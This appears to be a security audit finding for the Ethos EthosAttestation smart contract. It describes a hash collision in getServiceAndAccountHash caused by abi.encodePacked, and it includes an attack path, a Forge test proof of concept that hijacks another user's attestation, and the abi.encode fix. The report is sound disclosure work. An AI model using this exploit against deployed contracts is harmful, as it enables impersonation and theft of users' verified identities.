Skip to content

Latest commit

 

History

History
92 lines (66 loc) · 4.47 KB

File metadata and controls

92 lines (66 loc) · 4.47 KB

Puny Obsidian Beaver

Medium

An attacker can claim an attestation of another user in Ethos cause of a hash collision in the function getServiceAndAccountHash, i.e essentially attestation hijacking

Summary

The EthosAttestation contract uses an unsafe implementation of string concatenation with abi.encodePacked to generate unique hashes for attestations. Due to how abi.encodePacked handles dynamic types, it's possible to create hash collisions that allow attackers to claim legitimate attestations belonging to other users.

Root Cause

Lack of hash collision check in EthosAttestation#L435

The vulnerability stems from the getServiceAndAccountHash() function which uses abi.encodePacked to concatenate two dynamic string parameters before hashing.

When abi.encodePacked() is used with multiple variable-length arguments (such as strings), the packed encoding does not include information about the boundaries between different arguments. This can lead to situations where different combinations of arguments result in the same encoded output, causing hash collisions, e.g. keccak256(abi.encodePacked("discor", "duser123")) produces the same output as keccak256(abi.encodePacked("discord", "user123"))

See the Solidity documentation

Internal pre-conditions

  1. The attacker must have a valid Ethos profile

External pre-conditions

  1. The protocol must have signed at least one valid attestation

Attack Path

  1. Attacker identifies a target attestation (e.g., service="x.com", account="1468371243573604352") as seen here
  2. Attacker finds a colliding combination (e.g., service="x.c", account="om1468371243573604352")
  3. Attacker obtains a valid signature from the same transaction onchain for their colliding combination, i.e signature here is 0x7632f2c5325935ae9fd14fa080c5cdca213b91acb29523b361d9b25c6971bf917b33934829d3bb46ccd77ad258384d6f1351a36cf8cc6d7ef82a5d26a4ffad341c
  4. Attacker calls createAttestation() with their colliding values. The attacker can even leverage issue#1 to pass the validateAndSaveSignature function.
  5. Due to the hash collision in L#435, the new attestation from the attacker passes. Provided the attacker has a valid profile, a colliding attestationHash(this vuln) and evidence (can be obtained onchain), the _claimAttestation smoothly passes without errors.
  6. This allows the attacker to claim the attestation of another targeted Ethos user, i.e in this case, it was one with profile id 996

Impact

  • Unauthorized claiming of legitimate attestations from users leading to identity theft/impersonation

PoC

// FORGE TEST
function testHashCollisionAttack() public {
    // Setup - Create victim's attestation
    string memory victimService = "x.com";
    string memory victimAccount = "1468371243573604352";
    bytes32 victimHash = getServiceAndAccountHash(victimService, victimAccount);
    
    // Create victim attestation
    createAttestation(
        victimProfileId,
        randomValue,
        AttestationDetails({
            service: victimService,
            account: victimAccount
        }),
        "https://x.com/nesfatin/status/1851398888617345344",
        validSignature
    );
    
    // Attacker finds collision
    string memory attackerService = "x.c";
    string memory attackerAccount = "om1468371243573604352";
    bytes32 attackerHash = getServiceAndAccountHash(attackerService, attackerAccount);
    
    // Verify collision
    assertEq(victimHash, attackerHash);
    
    // Attacker claims attestation
    createAttestation(
        attackerProfileId,
        randomValue,
        AttestationDetails({
            service: attackerService,
            account: attackerAccount
        }),
        "https://x.com/nesfatin/status/1851398888617345344",
        validSignature
    );
}

Mitigation

Replace abi.encodePacked with abi.encode to prevent hash collisions